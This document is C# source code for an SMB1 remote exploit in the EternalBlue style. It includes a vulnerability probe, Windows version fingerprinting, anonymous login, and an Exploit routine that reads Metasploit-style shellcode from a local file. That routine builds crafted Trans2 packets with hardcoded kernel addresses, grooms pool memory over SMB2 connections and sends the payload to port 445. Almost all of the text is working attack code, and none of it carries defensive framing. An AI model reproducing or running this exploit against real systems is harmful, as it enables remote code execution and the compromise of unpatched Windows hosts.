static public bool CheckVulnerability(Socket sock) { bool vulnerable = false; SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0x25, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x18, flags2 = 0x2801, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = 0x0800, PIDLow = 0x5604, UID = 0x0800, MID = 0x8624 }; byte[] headerBytes = GetBytes(header); SMB_COM_TRANSACTION_REQUEST transRequest = new SMB_COM_TRANSACTION_REQUEST { WordCount = 0x10, TotalParameterCount = 0x0000, TotalDataCount = 0x0000, MaxParameterCount = 0xffff, MaxDataCount = 0xffff, MaxSetupCount = 0x00, Reserved = 0x00, Flags = 0x0000, Timeout = 0x00000000, Reserved2 = 0x0000, ParameterCount = 0x0000, ParameterOffset = 0x004a, DataCount = 0x0000, DataOffset = 0x004a, SetupCount = 0x02, Reserved3 = 0x00, Function = 0x0023, FID = 0x0000 }; byte[] transactionName = Encoding.UTF8.GetBytes("\\PIPE\\\0"); transRequest.ByteCount = (ushort)transactionName.Length; byte[] transRequestBytes = GetBytes(transRequest).Concat(transactionName).ToArray(); byte[] pkt = headerBytes.Concat(transRequestBytes).ToArray(); SendSMBMessage(sock, pkt, true); header = SMB_HeaderFromBytes(ReceiveSMBMessage(sock)); if (header.errorClass == 0x05 && header._reserved == 0x02 && header.errorCode == 0xc000) //This equals STATUS_INSUFF_SERVER_RESOURCES { return(true); } return(vulnerable); }
static public bool IsValidSMB1Header(SMB_HEADER header) { if (header.protocol == 0x424d53ff) { return(true); } return(false); }
static public SMB_HEADER SMB_HeaderFromBytes(byte[] arr) { SMB_HEADER str = new SMB_HEADER(); int size = Marshal.SizeOf(str); IntPtr ptr = Marshal.AllocHGlobal(size); Marshal.Copy(arr, 0, ptr, size); str = (SMB_HEADER)Marshal.PtrToStructure(ptr, str.GetType()); Marshal.FreeHGlobal(ptr); return(str); }
static public byte[] MakeSMB1NTTransPacket(ushort TID, ushort UID) { SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0xa0, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x18, flags2 = 0xc007, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = TID, PIDLow = 0xfeff, UID = UID, MID = 0x0040 }; byte[] headerBytes = GetBytes(header); SMB_COM_NT_TRANSACT_REQUEST NTtransactionRequest = new SMB_COM_NT_TRANSACT_REQUEST { WordCount = 0x14, MaxSetupCount = 0x01, Reserved = 0x0000, TotalParameterCount = 0x0000001e, TotalDataCount = 0x000103d0, MaxParameterCount = 0x0000001e, MaxDataCount = 0x00000000, ParameterCount = 0x0000001e, ParameterOffset = 0x0000004b, DataCount = 0x000003d0, DataOffset = 0x00000068, SetupCount = 0x01, Function = 0x0000, Setup = 0x0000 }; //Add SMBData List <byte> SMBData = new List <byte>(); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 31)); SMBData.Add(0x01); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 973)); NTtransactionRequest.ByteCount = (ushort)(SMBData.Count - 1); //Merge SMBHeader with the NTTransactionRequest byte[] NTtransactionRequestBytes = GetBytes(NTtransactionRequest).Concat(SMBData.ToArray()).ToArray(); byte[] pkt = headerBytes.Concat(NTtransactionRequestBytes).ToArray(); return(pkt); }
static public byte[] SMB1AnonymousLogin(Socket sock) { SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0x73, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x18, flags2 = 0xc007, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = 0xfeff, PIDLow = 0x0000, UID = 0x0000, MID = 0x0040 }; byte[] headerBytes = GetBytes(header); SMB_COM_SESSION_SETUP_ANDX_REQUEST AndxRequest = new SMB_COM_SESSION_SETUP_ANDX_REQUEST { WordCount = 0x0d, AndxCommand = 0xff, reserved1 = 0x00, AndxOffset = 0x0088, MaxBuffer = 0x1104, MaxMpxCount = 0x00a0, VcNumber = 0x0000, SessionKey = 0x00000000, OEMPasswordLen = 0x0001, UnicodePasswordLen = 0x0000, Reserved2 = 0x00000000, Capabilities = 0x000000d4 }; List <byte> SMBData = new List <byte>(); byte[] nulls = { 0x00, 0x00, 0x00, 0x00, 0x00 }; SMBData.AddRange(nulls); SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \02\01\09\05\0\0\0")); SMBData.AddRange(Encoding.UTF8.GetBytes("W\0i\0n\0d\0o\0w\0s\0 \02\00\00\00\0 \05\0.\00\0\0\0")); AndxRequest.ByteCount = (ushort)SMBData.Count; byte[] AndxRequestBytes = GetBytes(AndxRequest).Concat(SMBData.ToArray()).ToArray(); byte[] pkt = headerBytes.Concat(AndxRequestBytes).ToArray(); SendSMBMessage(sock, pkt, true); return(ReceiveSMBMessage(sock)); }
static public void DetectVersionOfWindows(byte[] res) { SMB_HEADER header = SMB_HeaderFromBytes(res); if (!IsValidSMB1Header(header)) { Console.WriteLine("Did not receive proper response when determining version... Are you sure this server is running SMB?"); return; } int sizeOfHeader = Marshal.SizeOf(header); SMB_COM_SESSION_SETUP_ANDX_RESPONSE andxr = SMB_AndxResponseFromBytes(res.Skip(sizeOfHeader).ToArray()); int byteCount = andxr.ByteCount; int sizeOfAndxr = Marshal.SizeOf(andxr); byte[] data = res.Skip(sizeOfHeader + sizeOfAndxr + 1).ToArray().Take(byteCount).ToArray(); //The 1 is for Padding- This could become a problem string hexString = BitConverter.ToString(data).Replace("-00-00-00-", "&"); //The SMB data is split using 3 0x00 bytes, these are changed to an '&' for easier split string[] hexStringSplit = hexString.Split('&'); for (int i = 0; i < 3; i++) { StringBuilder strbuilder = new StringBuilder(); string[] charArray = hexStringSplit[i].Split('-'); foreach (string chars in charArray) { int value = Convert.ToInt32(chars, 16); char charValue = (char)value; if (charValue != 0) { strbuilder.Append(charValue); } } if (i == 0) { Console.WriteLine("Native OS: " + strbuilder.ToString()); } else if (i == 1) { Console.WriteLine("Native LAN Manager: " + strbuilder.ToString()); } else if (i == 2) { Console.WriteLine("Domain: " + strbuilder.ToString()); } } }
static public byte[] TreeConnectAndXRequest(string target, Socket sock, ushort UID) { SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0x75, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x18, flags2 = 0x2001, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = 0xfeff, PIDLow = 0x4b2f, UID = UID, MID = 0x5ec5 }; byte[] headerBytes = GetBytes(header); SMB_COM_TREE_CONNECT_ANDX_REQUEST treeConnectAndxRequest = new SMB_COM_TREE_CONNECT_ANDX_REQUEST { WordCount = 0x04, AndXCommand = 0xff, AndXReserved = 0x00, AndXOffset = 0x0000, Flags = 0x0000, PasswordLength = 0x0001, }; byte[] PathServiceBytes = Encoding.ASCII.GetBytes(@"\\" + target + @"\IPC$" + "\0?????\0"); List <byte> SMBData = new List <byte>(); SMBData.Add(0x00); //Password SMBData.AddRange(PathServiceBytes); //Path + Service treeConnectAndxRequest.ByteCount = (ushort)SMBData.Count; byte[] TreeConnectAndxRequestBytes = GetBytes(treeConnectAndxRequest).Concat(SMBData.ToArray()).ToArray(); byte[] pkt = headerBytes.Concat(TreeConnectAndxRequestBytes).ToArray(); SendSMBMessage(sock, pkt, true); return(ReceiveSMBMessage(sock)); }
static public byte[] MakeSMB1EchoPacket(ushort TID, ushort UID) { NETBIOS_HEADER NTHeader = new NETBIOS_HEADER { MessageTypeAndSize = 0x31000000 }; SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0x2b, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x98, flags2 = 0xc007, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = TID, PIDLow = 0xfeff, UID = UID, MID = 0x0040 }; byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray(); SMB_COM_ECHO_REQUEST echoRequest = new SMB_COM_ECHO_REQUEST { WordCount = 0x1, EchoSequenceNumber = 0x0001, }; //Add SMBData List <byte> SMBData = new List <byte>(); SMBData.AddRange(Enumerable.Repeat((byte)0x41, 11)); SMBData.Add(0x00); echoRequest.ByteCount = (ushort)(SMBData.Count); //Merge SMBHeader with the echoRequest byte[] echoRequestBytes = GetBytes(echoRequest).Concat(SMBData.ToArray()).ToArray(); byte[] pkt = headerBytes.Concat(echoRequestBytes).ToArray(); return(pkt); }
static public byte[] ClientNegotiate(Socket sock) { SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0x72, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x18, flags2 = 0x2801, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = 0x0000, PIDLow = 0x4b2f, UID = 0x0000, MID = 0x5ec5 }; byte[] headerBytes = GetBytes(header); SMB_COM_NEGOTIATE_REQUEST req = new SMB_COM_NEGOTIATE_REQUEST { WordCount = 0x00 }; List <byte> dialects = new List <byte>(); dialects.AddRange(Encoding.UTF8.GetBytes("\x2LANMAN1.0\0")); dialects.AddRange(Encoding.UTF8.GetBytes("\x2LM1.2X002\0")); dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LANMAN 1.0\0")); dialects.AddRange(Encoding.UTF8.GetBytes("\x2NT LM 0.12\0")); req.ByteCount = (ushort)dialects.Count; byte[] negotitateRequest = GetBytes(req).Concat(dialects.ToArray()).ToArray(); string hex = BitConverter.ToString(negotitateRequest); byte[] pkt = headerBytes.Concat(negotitateRequest).ToArray(); SendSMBMessage(sock, pkt, true); return(ReceiveSMBMessage(sock)); }
static bool Detect(string target) { string ip = target; int port = 445; try { TcpClient client = new TcpClient(ip, port); Socket sock = client.Client; ClientNegotiate(sock); byte[] response = SMB1AnonymousLogin(sock); Console.WriteLine("Trying to detect version of Windows running on " + target + " ..."); DetectVersionOfWindows(response); SMB_HEADER header = SMB_HeaderFromBytes(response); TreeConnectAndXRequest(ip, sock, header.UID); //This is checked with userid 2049 and not 2048 bool vulnerable = CheckVulnerability(sock); if (vulnerable) { Console.WriteLine(target + " appears to be vulnerable!"); sock.Close(); client.Close(); return(true); } else { Console.WriteLine("IP: " + target + " does not appears to be vulnerable!"); sock.Close(); client.Close(); } } catch { return(false); } return(false); }
static public byte[] SMB1LargeBuffer(SMB_HEADER header, Socket sock) { //Send and Recveive NT Trans packet byte[] nt_trans_pkt = MakeSMB1NTTransPacket(header.TID, header.UID); SendSMBMessage(sock, nt_trans_pkt, true); ReceiveSMBMessage(sock); //initial trans2 request byte[] trans_pkt_nulled = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_zero", 0); //Send all but the last packet for (int i = 1; i <= 14; i++) { byte[] temp = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_buffer", i); trans_pkt_nulled = trans_pkt_nulled.Concat(temp).ToArray(); } //Create SMB1 Echo packet byte[] echo = MakeSMB1EchoPacket(header.TID, header.UID); trans_pkt_nulled = trans_pkt_nulled.Concat(echo).ToArray(); SendSMBMessage(sock, trans_pkt_nulled, false); return(ReceiveSMBMessage(sock)); }
static public byte[] MakeSMB1Trans2ExploitPacket(ushort TID, ushort UID, string type, int time) { NETBIOS_HEADER NTHeader = new NETBIOS_HEADER { MessageTypeAndSize = 0x35100000 }; SMB_HEADER header = new SMB_HEADER { protocol = 0x424d53ff, command = 0x33, errorClass = 0x00, _reserved = 0x00, errorCode = 0x0000, flags = 0x18, flags2 = 0xc007, PIDHigh = 0x0000, SecurityFeatures = 0x0000000000000000, reserved = 0x0000, TID = TID, PIDLow = 0xfeff, UID = UID, MID = 0x0040 }; byte[] headerBytes = GetBytes(NTHeader).Concat(GetBytes(header)).ToArray(); SMB_COM_TRANSACTION2_SECONDARY_REQUEST transaction2SecondaryRequest = new SMB_COM_TRANSACTION2_SECONDARY_REQUEST { WordCount = 0x09, TotalParameterCount = 0x0102, TotalDataCount = 0x1000, ParameterCount = 0x0000, ParameterOffset = 0x0000, ParameterDisplacement = 0x0000, DataCout = 0x1000, DataOffset = 0x0035, DataDisplacement = 0x0000, //we change this with our timeout int later FID = 0x0000, ByteCount = 0x1000 }; int timeout = (time * 16) + 3; transaction2SecondaryRequest.DataDisplacement = BitConverter.ToUInt16(new byte[] { 0xd0, BitConverter.GetBytes(timeout)[0] }, 0); //Merge SMBHeader with the transaction2SecondaryRequest byte[] transaction2SecondaryRequestBytes = GetBytes(transaction2SecondaryRequest); byte[] pkt = headerBytes.Concat(transaction2SecondaryRequestBytes).ToArray(); if (type.Equals("eb_trans2_exploit")) { List <byte> SMBData = new List <byte>(); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2957)); SMBData.AddRange(new List <byte>() { 0x80, 0x00, 0xa8, 0x00 }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 16)); SMBData.AddRange(new List <byte>() { 0xff, 0xff }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 6)); SMBData.AddRange(new List <byte>() { 0xff, 0xff }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 22)); SMBData.AddRange(new List <byte>() { 0x00, 0xf1, 0xdf, 0xff // x86 addresses }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 8)); SMBData.AddRange(new List <byte>() { 0x20, 0xf0, 0xdf, 0xff, 0x00, 0xf1, 0xdf, 0xff, 0xff, 0xff, 0xff, 0xff, 0x60, 0x00, 0x04, 0x10 }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4)); SMBData.AddRange(new List <byte>() { 0x80, 0xef, 0xdf, 0xff }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 4)); SMBData.AddRange(new List <byte>() { 0x10, 0x00, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff, 0x18, 0x01, 0xd0, 0xff, 0xff, 0xff, 0xff, 0xff }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x10)); SMBData.AddRange(new List <byte>() { 0x60, 0x00, 0x04, 0x10 }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xc)); SMBData.AddRange(new List <byte>() { 0x90, 0xff, 0xcf, 0xff, 0xff, 0xff, 0xff, 0xff }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0x8)); SMBData.AddRange(new List <byte>() { 0x80, 0x10 }); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 0xe)); SMBData.AddRange(new List <byte>() { 0x39, 0xbb }); SMBData.AddRange(Enumerable.Repeat((byte)0x41, 965)); pkt = pkt.Concat(SMBData.ToArray()).ToArray(); return(pkt); } if (type.Equals("eb_trans2_zero")) { List <byte> SMBData = new List <byte>(); SMBData.AddRange(Enumerable.Repeat((byte)0x00, 2055)); SMBData.Add(0x83); SMBData.Add(0xf3); SMBData.AddRange(Enumerable.Repeat((byte)0x41, 2039)); pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all return(pkt); } else { List <byte> SMBData = new List <byte>(); SMBData.AddRange(Enumerable.Repeat((byte)0x41, 4096)); pkt = pkt.Concat(SMBData.ToArray()).ToArray(); //Collect it all } return(pkt); }
static void Exploit(string target) { string ip = target; int port = 445; int grooms = 12; TcpClient client = new TcpClient(ip, port); Socket sock = client.Client; FileStream fs = new FileStream( @"C:\Users\victim1\Desktop\sc_4445_msf.bin", FileMode.Open, FileAccess.Read); BinaryReader br = new BinaryReader(fs); long numBytes = new FileInfo(@"C:\Users\victim1\Desktop\sc_4445_msf.bin").Length; byte[] buf = br.ReadBytes((int)numBytes); byte[] shellcode = MakeKernelUserPayload(buf); byte[] payload_hdr_pkt = MakeSMB2PayLoadHeadersPacket(); byte[] payload_body_pkt = MakeSMB2PayloadBodyPacket(shellcode); Console.WriteLine("Trying to exploit: " + target); ClientNegotiate(sock); byte[] response = SMB1AnonymousLogin(sock); SMB_HEADER header = SMB_HeaderFromBytes(response); response = TreeConnectAndXRequest(ip, sock, header.UID); header = SMB_HeaderFromBytes(response); sock.ReceiveTimeout = 2000; Console.WriteLine("Connection established for exploitation."); Console.WriteLine("Creating a large SMB1 buffer... All but last fragment of exploit packet"); SMB1LargeBuffer(header, sock); Socket fhs_sock = SMB1FreeHole(ip, port, true); Console.WriteLine("Grooming..."); List <Socket> grooms_socks = new List <Socket>(); grooms_socks = SMB2Grooms(ip, port, grooms, payload_hdr_pkt, grooms_socks); Socket fhf_sock = SMB1FreeHole(ip, port, false); fhs_sock.Close(); grooms_socks = SMB2Grooms(ip, port, 6, payload_hdr_pkt, grooms_socks); fhf_sock.Close(); Console.WriteLine("Ready for final exploit..."); byte[] final_exploit_pkt = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_exploit", 15); try { SendSMBMessage(sock, final_exploit_pkt, false); response = ReceiveSMBMessage(sock); header = new SMB_HEADER(); header = SMB_HeaderFromBytes(response); } catch (Exception e) { Console.WriteLine("Socket error, this might end badly" + e.Message); } Console.WriteLine("Sending exploits with the grooms"); foreach (Socket s in grooms_socks) { SendSMBMessage(s, payload_body_pkt.Take(2920).ToArray(), false); } foreach (Socket s in grooms_socks) { SendSMBMessage(s, payload_body_pkt.Skip(2920).ToArray(), false); } foreach (Socket s in grooms_socks) { s.Close(); } Console.WriteLine("Exploit send successfully..."); client.Close(); sock.Close(); }